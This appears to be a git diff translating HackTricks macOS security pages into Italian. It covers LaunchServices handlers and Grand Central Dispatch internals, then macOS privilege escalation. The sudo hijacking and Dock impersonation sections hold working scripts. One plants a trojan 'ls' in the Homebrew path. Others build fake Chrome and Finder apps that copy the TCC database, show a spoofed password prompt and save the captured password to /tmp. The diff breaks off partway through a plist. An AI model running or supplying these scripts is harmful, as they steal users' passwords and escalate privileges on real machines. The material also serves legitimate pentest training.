<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
@ -153,14 +133,12 @@ And **execute** the binary and check the **library was loaded**:
</code></pre>
> [!NOTE]
> A nice writeup about how to abuse this vulnerability to abuse the camera permissions of telegram can be found in [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
> Un bel articolo su come sfruttare questa vulnerabilità per abusare dei permessi della fotocamera di telegram può essere trovato in [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
## Bigger Scale
If you are planing on trying to inject libraries in unexpected binaries you could check the event messages to find out when the library is loaded inside a process (in this case remove the printf and the `/bin/bash` execution).
## Maggiore Scala
Se stai pianificando di provare a iniettare librerie in binari inaspettati, potresti controllare i messaggi di evento per scoprire quando la libreria viene caricata all'interno di un processo (in questo caso rimuovi il printf e l'esecuzione di `/bin/bash`).
```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,72 +1,64 @@
# macOS File Extension & URL scheme app handlers
# Gestori di app per estensioni di file macOS e schemi URL
{{#include ../../banners/hacktricks-training.md}}
## LaunchServices Database
## Database LaunchServices
This is a database of all the installed applications in the macOS that can be queried to get information about each installed application such as URL schemes it support and MIME types.
It's possible to dump this datase with:
Questo è un database di tutte le applicazioni installate in macOS che può essere interrogato per ottenere informazioni su ciascuna applicazione installata, come i schemi URL che supporta e i tipi MIME.
È possibile eseguire il dump di questo database con:
```
/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump
```
Oppure utilizzando lo strumento [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html).
Or using the tool [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html).
**`/usr/libexec/lsd`** è il cervello del database. Fornisce **diversi servizi XPC** come `.lsd.installation`, `.lsd.open`, `.lsd.openurl` e altri. Ma richiede anche **alcuni diritti** per le applicazioni per poter utilizzare le funzionalità XPC esposte, come `.launchservices.changedefaulthandler` o `.launchservices.changeurlschemehandler` per cambiare le app predefinite per i tipi MIME o gli schemi URL e altri.
**`/usr/libexec/lsd`** is the brain of the database. It provides **several XPC services** like `.lsd.installation`, `.lsd.open`, `.lsd.openurl`, and more. But it also **requires some entitlements** to applications to be able to use the exposed XPC functionalities, like `.launchservices.changedefaulthandler` or `.launchservices.changeurlschemehandler` to change default apps for mime types or url schemes and others.
**`/System/Library/CoreServices/launchservicesd`** rivendica il servizio `com.apple.coreservices.launchservicesd` e può essere interrogato per ottenere informazioni sulle applicazioni in esecuzione. Può essere interrogato con lo strumento di sistema /**`usr/bin/lsappinfo`** o con [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html).
**`/System/Library/CoreServices/launchservicesd`** claims the service `com.apple.coreservices.launchservicesd` and can be queried to get information about running applications. It can be queried with the system tool /**`usr/bin/lsappinfo`** or with [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html).
## File Extension & URL scheme app handlers
The following line can be useful to find the applications that can open files depending on the extension:
## Gestori di app per estensioni di file e schemi URL
La seguente riga può essere utile per trovare le applicazioni che possono aprire file a seconda dell'estensione:
```bash
/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump | grep -E "path:|bindings:|name:"
```
Or use something like [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps):
O usa qualcosa come [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps):
```bash
./swda getSchemes #Get all the available schemes
./swda getApps #Get all the apps declared
./swda getUTIs #Get all the UTIs
./swda getHandler --URL ftp #Get ftp handler
```
You can also check the extensions supported by an application doing:
Puoi anche controllare le estensioni supportate da un'applicazione eseguendo:
```
cd /Applications/Safari.app/Contents
grep -A3 CFBundleTypeExtensions Info.plist | grep string
<string>css</string>
<string>pdf</string>
<string>webarchive</string>
<string>webbookmark</string>
<string>webhistory</string>
<string>webloc</string>
<string>download</string>
<string>safariextz</string>
<string>gif</string>
<string>html</string>
<string>htm</string>
<string>js</string>
<string>jpg</string>
<string>jpeg</string>
<string>jp2</string>
<string>txt</string>
<string>text</string>
<string>png</string>
<string>tiff</string>
<string>tif</string>
<string>url</string>
<string>ico</string>
<string>xhtml</string>
<string>xht</string>
<string>xml</string>
<string>xbl</string>
<string>svg</string>
<string>css</string>
<string>pdf</string>
<string>webarchive</string>
<string>webbookmark</string>
<string>webhistory</string>
<string>webloc</string>
<string>download</string>
<string>safariextz</string>
<string>gif</string>
<string>html</string>
<string>htm</string>
<string>js</string>
<string>jpg</string>
<string>jpeg</string>
<string>jp2</string>
<string>txt</string>
<string>text</string>
<string>png</string>
<string>tiff</string>
<string>tif</string>
<string>url</string>
<string>ico</string>
<string>xhtml</string>
<string>xht</string>
<string>xml</string>
<string>xbl</string>
<string>svg</string>
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,182 +2,175 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informazioni di base
**Grand Central Dispatch (GCD),** also known as **libdispatch** (`libdispatch.dyld`), is available in both macOS and iOS. It's a technology developed by Apple to optimize application support for concurrent (multithreaded) execution on multicore hardware.
**Grand Central Dispatch (GCD),** noto anche come **libdispatch** (`libdispatch.dyld`), è disponibile sia in macOS che in iOS. È una tecnologia sviluppata da Apple per ottimizzare il supporto delle applicazioni per l'esecuzione concorrente (multithreaded) su hardware multicore.
**GCD** provides and manages **FIFO queues** to which your application can **submit tasks** in the form of **block objects**. Blocks submitted to dispatch queues are **executed on a pool of threads** fully managed by the system. GCD automatically creates threads for executing the tasks in the dispatch queues and schedules those tasks to run on the available cores.
**GCD** fornisce e gestisce **code FIFO** a cui la tua applicazione può **inviare compiti** sotto forma di **oggetti blocco**. I blocchi inviati alle code di dispatch vengono **eseguiti su un pool di thread** completamente gestito dal sistema. GCD crea automaticamente thread per eseguire i compiti nelle code di dispatch e pianifica tali compiti per essere eseguiti sui core disponibili.
> [!TIP]
> In summary, to execute code in **parallel**, processes can send **blocks of code to GCD**, which will take care of their execution. Therefore, processes don't create new threads; **GCD executes the given code with its own pool of threads** (which might increase or decrease as necessary).
> In sintesi, per eseguire codice in **parallelo**, i processi possono inviare **blocchi di codice a GCD**, che si occuperà della loro esecuzione. Pertanto, i processi non creano nuovi thread; **GCD esegue il codice fornito con il proprio pool di thread** (che potrebbe aumentare o diminuire secondo necessità).
This is very helpful to manage parallel execution successfully, greatly reducing the number of threads processes create and optimising the parallel execution. This is ideal for tasks that require **great parallelism** (brute-forcing?) or for tasks that shouldn't block the main thread: For example, the main thread on iOS handles UI interactions, so any other functionality that could make the app hang (searching, accessing a web, reading a file...) is managed this way.
Questo è molto utile per gestire con successo l'esecuzione parallela, riducendo notevolmente il numero di thread che i processi creano e ottimizzando l'esecuzione parallela. Questo è ideale per compiti che richiedono **grande parallelismo** (brute-forcing?) o per compiti che non dovrebbero bloccare il thread principale: ad esempio, il thread principale su iOS gestisce le interazioni dell'interfaccia utente, quindi qualsiasi altra funzionalità che potrebbe far bloccarsi l'app (ricerca, accesso a un web, lettura di un file...) è gestita in questo modo.
### Blocks
### Blocchi
A block is a **self contained section of code** (like a function with arguments returning a value) and can also specify bound variables.\
However, at compiler level blocks doesn't exist, they are `os_object`s. Each of these objects is formed by two structures:
Un blocco è una **sezione di codice autonoma** (come una funzione con argomenti che restituisce un valore) e può anche specificare variabili vincolate.\
Tuttavia, a livello di compilatore, i blocchi non esistono, sono `os_object`. Ognuno di questi oggetti è formato da due strutture:
- **block literal**:&#x20;
- It starts by the **`isa`** field, pointing to the block's class:
- `NSConcreteGlobalBlock` (blocks from `__DATA.__const`)
- `NSConcreteMallocBlock` (blocks in the heap)
- `NSConcreateStackBlock` (blocks in stack)
- It has **`flags`** (indicating fields present in the block descriptor) and some reserved bytes
- The function pointer to call
- A pointer to the block descriptor
- Block imported variables (if any)
- **block descriptor**: It's size depends on the data that is present (as indicated in the previous flags)
- It has some reserved bytes
- The size of it
- It'll usually have a pointer to an Objective-C style signature to know how much space is needed for the params (flag `BLOCK_HAS_SIGNATURE`)
- If variables are referenced, this block will also have pointers to a copy helper (copying the value at the begining) and dispose helper (freeing it).
- **letterale di blocco**:&#x20;
- Inizia con il campo **`isa`**, che punta alla classe del blocco:
- `NSConcreteGlobalBlock` (blocchi da `__DATA.__const`)
- `NSConcreteMallocBlock` (blocchi nell'heap)
- `NSConcreateStackBlock` (blocchi nello stack)
- Ha **`flags`** (che indicano i campi presenti nel descrittore del blocco) e alcuni byte riservati
- Il puntatore alla funzione da chiamare
- Un puntatore al descrittore del blocco
- Variabili importate dal blocco (se presenti)
- **descrittore del blocco**: La sua dimensione dipende dai dati presenti (come indicato nei flag precedenti)
- Ha alcuni byte riservati
- La sua dimensione
- Avrà di solito un puntatore a una firma in stile Objective-C per sapere quanto spazio è necessario per i parametri (flag `BLOCK_HAS_SIGNATURE`)
- Se le variabili sono referenziate, questo blocco avrà anche puntatori a un helper di copia (copia il valore all'inizio) e a un helper di eliminazione (liberandolo).
### Queues
### Code
A dispatch queue is a named object providing FIFO ordering of blocks for executions.
Una coda di dispatch è un oggetto nominato che fornisce un ordinamento FIFO dei blocchi per le esecuzioni.
Blocks a set in queues to be executed, and these support 2 modes: `DISPATCH_QUEUE_SERIAL` and `DISPATCH_QUEUE_CONCURRENT`. Of course the **serial** one **won't have race condition** problems as a block won't be executed until the previous one has finished. But **the other type of queue might have it**.
I blocchi sono impostati in code da eseguire, e queste supportano 2 modalità: `DISPATCH_QUEUE_SERIAL` e `DISPATCH_QUEUE_CONCURRENT`. Naturalmente, la **seriale** non avrà problemi di condizioni di gara poiché un blocco non verrà eseguito fino a quando il precedente non è terminato. Ma **l'altro tipo di coda potrebbe averli**.
Default queues:
Code predefinite:
- `.main-thread`: From `dispatch_get_main_queue()`
- `.libdispatch-manager`: GCD's queue manager
- `.root.libdispatch-manager`: GCD's queue manager
- `.root.maintenance-qos`: Lowest priority tasks
- `.main-thread`: Da `dispatch_get_main_queue()`
- `.libdispatch-manager`: Gestore delle code di GCD
- `.root.libdispatch-manager`: Gestore delle code di GCD
- `.root.maintenance-qos`: Compiti a priorità più bassa
- `.root.maintenance-qos.overcommit`
- `.root.background-qos`: Available as `DISPATCH_QUEUE_PRIORITY_BACKGROUND`
- `.root.background-qos`: Disponibile come `DISPATCH_QUEUE_PRIORITY_BACKGROUND`
- `.root.background-qos.overcommit`
- `.root.utility-qos`: Available as `DISPATCH_QUEUE_PRIORITY_NON_INTERACTIVE`
- `.root.utility-qos`: Disponibile come `DISPATCH_QUEUE_PRIORITY_NON_INTERACTIVE`
- `.root.utility-qos.overcommit`
- `.root.default-qos`: Available as `DISPATCH_QUEUE_PRIORITY_DEFAULT`
- `.root.default-qos`: Disponibile come `DISPATCH_QUEUE_PRIORITY_DEFAULT`
- `.root.background-qos.overcommit`
- `.root.user-initiated-qos`: Available as `DISPATCH_QUEUE_PRIORITY_HIGH`
- `.root.user-initiated-qos`: Disponibile come `DISPATCH_QUEUE_PRIORITY_HIGH`
- `.root.background-qos.overcommit`
- `.root.user-interactive-qos`: Highest priority
- `.root.user-interactive-qos`: Massima priorità
- `.root.background-qos.overcommit`
Notice that it will be the system who decides **which threads handle which queues at each time** (multiple threads might work in the same queue or the same thread might work in different queues at some point)
Nota che sarà il sistema a decidere **quali thread gestiscono quali code in ogni momento** (più thread potrebbero lavorare nella stessa coda o lo stesso thread potrebbe lavorare in code diverse in un certo momento)
#### Attributtes
#### Attributi
When creating a queue with **`dispatch_queue_create`** the third argument is a `dispatch_queue_attr_t`, which usually is either `DISPATCH_QUEUE_SERIAL` (which is actually NULL) or `DISPATCH_QUEUE_CONCURRENT` which is a pointer to a `dispatch_queue_attr_t` struct which allow to control some parameters of the queue.
Quando si crea una coda con **`dispatch_queue_create`**, il terzo argomento è un `dispatch_queue_attr_t`, che di solito è `DISPATCH_QUEUE_SERIAL` (che è effettivamente NULL) o `DISPATCH_QUEUE_CONCURRENT`, che è un puntatore a una struttura `dispatch_queue_attr_t` che consente di controllare alcuni parametri della coda.
### Dispatch objects
### Oggetti Dispatch
There are several objects that libdispatch uses and queues and blocks are just 2 of them. It's possible to create these objects with `dispatch_object_create`:
Ci sono diversi oggetti che libdispatch utilizza e le code e i blocchi sono solo 2 di essi. È possibile creare questi oggetti con `dispatch_object_create`:
- `block`
- `data`: Data blocks
- `group`: Group of blocks
- `io`: Async I/O requests
- `mach`: Mach ports
- `mach_msg`: Mach messages
- `pthread_root_queue`:A queue with a pthread thread pool and not workqueues
- `data`: Blocchi di dati
- `group`: Gruppo di blocchi
- `io`: Richieste di I/O asincrone
- `mach`: Porte Mach
- `mach_msg`: Messaggi Mach
- `pthread_root_queue`: Una coda con un pool di thread pthread e non workqueues
- `queue`
- `semaphore`
- `source`: Event source
- `source`: Fonte di eventi
## Objective-C
In Objetive-C there are different functions to send a block to be executed in parallel:
In Objective-C ci sono diverse funzioni per inviare un blocco da eseguire in parallelo:
- [**dispatch_async**](https://developer.apple.com/documentation/dispatch/1453057-dispatch_async): Submits a block for asynchronous execution on a dispatch queue and returns immediately.
- [**dispatch_sync**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync): Submits a block object for execution and returns after that block finishes executing.
- [**dispatch_once**](https://developer.apple.com/documentation/dispatch/1447169-dispatch_once): Executes a block object only once for the lifetime of an application.
- [**dispatch_async_and_wait**](https://developer.apple.com/documentation/dispatch/3191901-dispatch_async_and_wait): Submits a work item for execution and returns only after it finishes executing. Unlike [**`dispatch_sync`**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync), this function respects all attributes of the queue when it executes the block.
- [**dispatch_async**](https://developer.apple.com/documentation/dispatch/1453057-dispatch_async): Invia un blocco per l'esecuzione asincrona su una coda di dispatch e restituisce immediatamente.
- [**dispatch_sync**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync): Invia un oggetto blocco per l'esecuzione e restituisce dopo che quel blocco ha terminato l'esecuzione.
- [**dispatch_once**](https://developer.apple.com/documentation/dispatch/1447169-dispatch_once): Esegue un oggetto blocco solo una volta per la durata di un'applicazione.
- [**dispatch_async_and_wait**](https://developer.apple.com/documentation/dispatch/3191901-dispatch_async_and_wait): Invia un elemento di lavoro per l'esecuzione e restituisce solo dopo che ha terminato l'esecuzione. A differenza di [**`dispatch_sync`**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync), questa funzione rispetta tutti gli attributi della coda quando esegue il blocco.
These functions expect these parameters: [**`dispatch_queue_t`**](https://developer.apple.com/documentation/dispatch/dispatch_queue_t) **`queue,`** [**`dispatch_block_t`**](https://developer.apple.com/documentation/dispatch/dispatch_block_t) **`block`**
This is the **struct of a Block**:
Queste funzioni si aspettano questi parametri: [**`dispatch_queue_t`**](https://developer.apple.com/documentation/dispatch/dispatch_queue_t) **`queue,`** [**`dispatch_block_t`**](https://developer.apple.com/documentation/dispatch/dispatch_block_t) **`block`**
Questa è la **struttura di un Blocco**:
```c
struct Block {
void *isa; // NSConcreteStackBlock,...
int flags;
int reserved;
void *invoke;
struct BlockDescriptor *descriptor;
// captured variables go here
void *isa; // NSConcreteStackBlock,...
int flags;
int reserved;
void *invoke;
struct BlockDescriptor *descriptor;
// captured variables go here
};
```
And this is an example to use **parallelism** with **`dispatch_async`**:
E questo è un esempio di utilizzo del **parallelismo** con **`dispatch_async`**:
```objectivec
#import <Foundation/Foundation.h>
// Define a block
void (^backgroundTask)(void) = ^{
// Code to be executed in the background
for (int i = 0; i < 10; i++) {
NSLog(@"Background task %d", i);
sleep(1); // Simulate a long-running task
}
// Code to be executed in the background
for (int i = 0; i < 10; i++) {
NSLog(@"Background task %d", i);
sleep(1); // Simulate a long-running task
}
};
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Create a dispatch queue
dispatch_queue_t backgroundQueue = dispatch_queue_create("com.example.backgroundQueue", NULL);
@autoreleasepool {
// Create a dispatch queue
dispatch_queue_t backgroundQueue = dispatch_queue_create("com.example.backgroundQueue", NULL);
// Submit the block to the queue for asynchronous execution
dispatch_async(backgroundQueue, backgroundTask);
// Submit the block to the queue for asynchronous execution
dispatch_async(backgroundQueue, backgroundTask);
// Continue with other work on the main queue or thread
for (int i = 0; i < 10; i++) {
NSLog(@"Main task %d", i);
sleep(1); // Simulate a long-running task
}
}
return 0;
// Continue with other work on the main queue or thread
for (int i = 0; i < 10; i++) {
NSLog(@"Main task %d", i);
sleep(1); // Simulate a long-running task
}
}
return 0;
}
```
## Swift
**`libswiftDispatch`** is a library that provides **Swift bindings** to the Grand Central Dispatch (GCD) framework which is originally written in C.\
The **`libswiftDispatch`** library wraps the C GCD APIs in a more Swift-friendly interface, making it easier and more intuitive for Swift developers to work with GCD.
**`libswiftDispatch`** è una libreria che fornisce **binding Swift** al framework Grand Central Dispatch (GCD) originariamente scritto in C.\
La libreria **`libswiftDispatch`** avvolge le API C GCD in un'interfaccia più adatta a Swift, rendendo più facile e intuitivo per gli sviluppatori Swift lavorare con GCD.
- **`DispatchQueue.global().sync{ ... }`**
- **`DispatchQueue.global().async{ ... }`**
- **`let onceToken = DispatchOnce(); onceToken.perform { ... }`**
- **`async await`**
- **`var (data, response) = await URLSession.shared.data(from: URL(string: "https://api.example.com/getData"))`**
**Code example**:
- **`var (data, response) = await URLSession.shared.data(from: URL(string: "https://api.example.com/getData"))`**
**Esempio di codice**:
```swift
import Foundation
// Define a closure (the Swift equivalent of a block)
let backgroundTask: () -> Void = {
for i in 0..<10 {
print("Background task \(i)")
sleep(1) // Simulate a long-running task
}
for i in 0..<10 {
print("Background task \(i)")
sleep(1) // Simulate a long-running task
}
}
// Entry point
autoreleasepool {
// Create a dispatch queue
let backgroundQueue = DispatchQueue(label: "com.example.backgroundQueue")
// Create a dispatch queue
let backgroundQueue = DispatchQueue(label: "com.example.backgroundQueue")
// Submit the closure to the queue for asynchronous execution
backgroundQueue.async(execute: backgroundTask)
// Submit the closure to the queue for asynchronous execution
backgroundQueue.async(execute: backgroundTask)
// Continue with other work on the main queue
for i in 0..<10 {
print("Main task \(i)")
sleep(1) // Simulate a long-running task
}
// Continue with other work on the main queue
for i in 0..<10 {
print("Main task \(i)")
sleep(1) // Simulate a long-running task
}
}
```
## Frida
The following Frida script can be used to **hook into several `dispatch`** functions and extract the queue name, the backtrace and the block: [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js)
Il seguente script Frida può essere utilizzato per **intercettare diverse funzioni `dispatch`** e estrarre il nome della coda, il backtrace e il blocco: [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js)
```bash
frida -U <prog_name> -l libdispatch.js
@ -190,12 +183,11 @@ Backtrace:
0x19e3a57fc UIKitCore!+[UIGraphicsRenderer _destroyCGContext:withRenderer:]
[...]
```
## Ghidra
Currently Ghidra doesn't understand neither the ObjectiveC **`dispatch_block_t`** structure, neither the **`swift_dispatch_block`** one.
Attualmente Ghidra non comprende né la struttura ObjectiveC **`dispatch_block_t`**, né quella **`swift_dispatch_block`**.
So if you want it to understand them, you could just **declare them**:
Quindi, se vuoi che le comprenda, puoi semplicemente **dichiararle**:
<figure><img src="../../images/image (1160).png" alt="" width="563"><figcaption></figcaption></figure>
@ -203,23 +195,23 @@ So if you want it to understand them, you could just **declare them**:
<figure><img src="../../images/image (1163).png" alt="" width="563"><figcaption></figcaption></figure>
Then, find a place in the code where they are **used**:
Poi, trova un posto nel codice dove sono **usate**:
> [!TIP]
> Note all of references made to "block" to understand how you could figure out that the struct is being used.
> Nota tutti i riferimenti fatti a "block" per capire come potresti dedurre che la struct viene utilizzata.
<figure><img src="../../images/image (1164).png" alt="" width="563"><figcaption></figcaption></figure>
Right click on the variable -> Retype Variable and select in this case **`swift_dispatch_block`**:
Fai clic destro sulla variabile -> Ridenomina variabile e seleziona in questo caso **`swift_dispatch_block`**:
<figure><img src="../../images/image (1165).png" alt="" width="563"><figcaption></figcaption></figure>
Ghidra will automatically rewrite everything:
Ghidra riscriverà automaticamente tutto:
<figure><img src="../../images/image (1166).png" alt="" width="563"><figcaption></figcaption></figure>
## References
## Riferimenti
- [**\*OS Internals, Volume I: User Mode. By Jonathan Levin**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
- [**\*OS Internals, Volume I: User Mode. Di Jonathan Levin**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## TCC Privilege Escalation
If you came here looking for TCC privilege escalation go to:
Se sei venuto qui cercando l'escalation dei privilegi TCC vai a:
{{#ref}}
macos-security-protections/macos-tcc/
@ -12,26 +12,25 @@ macos-security-protections/macos-tcc/
## Linux Privesc
Please note that **most of the tricks about privilege escalation affecting Linux/Unix will affect also MacOS** machines. So see:
Si prega di notare che **la maggior parte dei trucchi sull'escalation dei privilegi che riguardano Linux/Unix influenzeranno anche le macchine MacOS**. Quindi vedi:
{{#ref}}
../../linux-hardening/privilege-escalation/
{{#endref}}
## User Interaction
## Interazione dell'Utente
### Sudo Hijacking
You can find the original [Sudo Hijacking technique inside the Linux Privilege Escalation post](../../linux-hardening/privilege-escalation/#sudo-hijacking).
However, macOS **maintains** the user's **`PATH`** when he executes **`sudo`**. Which means that another way to achieve this attack would be to **hijack other binaries** that the victim sill execute when **running sudo:**
Puoi trovare la [tecnica originale di Sudo Hijacking all'interno del post sull'escalation dei privilegi di Linux](../../linux-hardening/privilege-escalation/#sudo-hijacking).
Tuttavia, macOS **mantiene** il **`PATH`** dell'utente quando esegue **`sudo`**. Il che significa che un altro modo per realizzare questo attacco sarebbe **di dirottare altri binari** che la vittima eseguirà quando **esegue sudo:**
```bash
# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
cat > /opt/homebrew/bin/ls <<EOF
#!/bin/bash
if [ "\$(id -u)" -eq 0 ]; then
whoami > /tmp/privesc
whoami > /tmp/privesc
fi
/bin/ls "\$@"
EOF
@ -40,19 +39,17 @@ chmod +x /opt/homebrew/bin/ls
# victim
sudo ls
```
Nota che un utente che utilizza il terminale avrà molto probabilmente **Homebrew installato**. Quindi è possibile hijackare i binari in **`/opt/homebrew/bin`**.
Note that a user that uses the terminal will highly probable have **Homebrew installed**. So it's possible to hijack binaries in **`/opt/homebrew/bin`**.
### Impersonificazione del Dock
### Dock Impersonation
Using some **social engineering** you could **impersonate for example Google Chrome** inside the dock and actually execute your own script:
Utilizzando un po' di **social engineering** potresti **impersonare ad esempio Google Chrome** all'interno del dock ed eseguire effettivamente il tuo script:
{{#tabs}}
{{#tab name="Chrome Impersonation"}}
Some suggestions:
- Check in the Dock if there is a Chrome, and in that case **remove** that entry and **add** the **fake** **Chrome entry in the same position** in the Dock array.&#x20;
{{#tab name="Impersonificazione di Chrome"}}
Alcuni suggerimenti:
- Controlla nel Dock se c'è un Chrome, e in tal caso **rimuovi** quella voce e **aggiungi** la voce **falsa** **Chrome nella stessa posizione** nell'array del Dock.&#x20;
```bash
#!/bin/sh
@ -72,13 +69,13 @@ cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c <<EOF
#include <unistd.h>
int main() {
char *cmd = "open /Applications/Google\\\\ Chrome.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
char *cmd = "open /Applications/Google\\\\ Chrome.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
}
EOF
@ -94,22 +91,22 @@ cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF
@ -122,18 +119,16 @@ defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</
sleep 0.1
killall Dock
```
{{#endtab}}
{{#tab name="Finder Impersonation"}}
Some suggestions:
- You **cannot remove Finder from the Dock**, so if you are going to add it to the Dock, you could put the fake Finder just next to the real one. For this you need to **add the fake Finder entry at the beginning of the Dock array**.
- Another option is to not place it in the Dock and just open it, "Finder asking to control Finder" is not that weird.
- Another options to **escalate to root without asking** the password with a horrible box, is make Finder really ask for the password to perform a privileged action:
- Ask Finder to copy to **`/etc/pam.d`** a new **`sudo`** file (The prompt asking for the password will indicate that "Finder wants to copy sudo")
- Ask Finder to copy a new **Authorization Plugin** (You could control the file name so the prompt asking for the password will indicate that "Finder wants to copy Finder.bundle")
Alcuni suggerimenti:
- Non **puoi rimuovere Finder dal Dock**, quindi se intendi aggiungerlo al Dock, potresti mettere il falso Finder proprio accanto a quello reale. Per questo devi **aggiungere l'entrata del falso Finder all'inizio dell'array del Dock**.
- Un'altra opzione è non posizionarlo nel Dock e semplicemente aprirlo, "Finder che chiede di controllare Finder" non è così strano.
- Un'altra opzione per **escalare a root senza chiedere** la password con una brutta finestra, è far sì che Finder chieda realmente la password per eseguire un'azione privilegiata:
- Chiedi a Finder di copiare in **`/etc/pam.d`** un nuovo file **`sudo`** (Il prompt che chiede la password indicherà che "Finder vuole copiare sudo")
- Chiedi a Finder di copiare un nuovo **Authorization Plugin** (Puoi controllare il nome del file in modo che il prompt che chiede la password indichi che "Finder vuole copiare Finder.bundle")
```bash
#!/bin/sh
@ -153,13 +148,13 @@ cat > /tmp/Finder.app/Contents/MacOS/Finder.c <<EOF
#include <unistd.h>
int main() {
char *cmd = "open /System/Library/CoreServices/Finder.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
char *cmd = "open /System/Library/CoreServices/Finder.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
}
EOF
@ -175,22 +170,22 @@ cat << EOF > /tmp/Finder.app/Contents/Info.plist
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
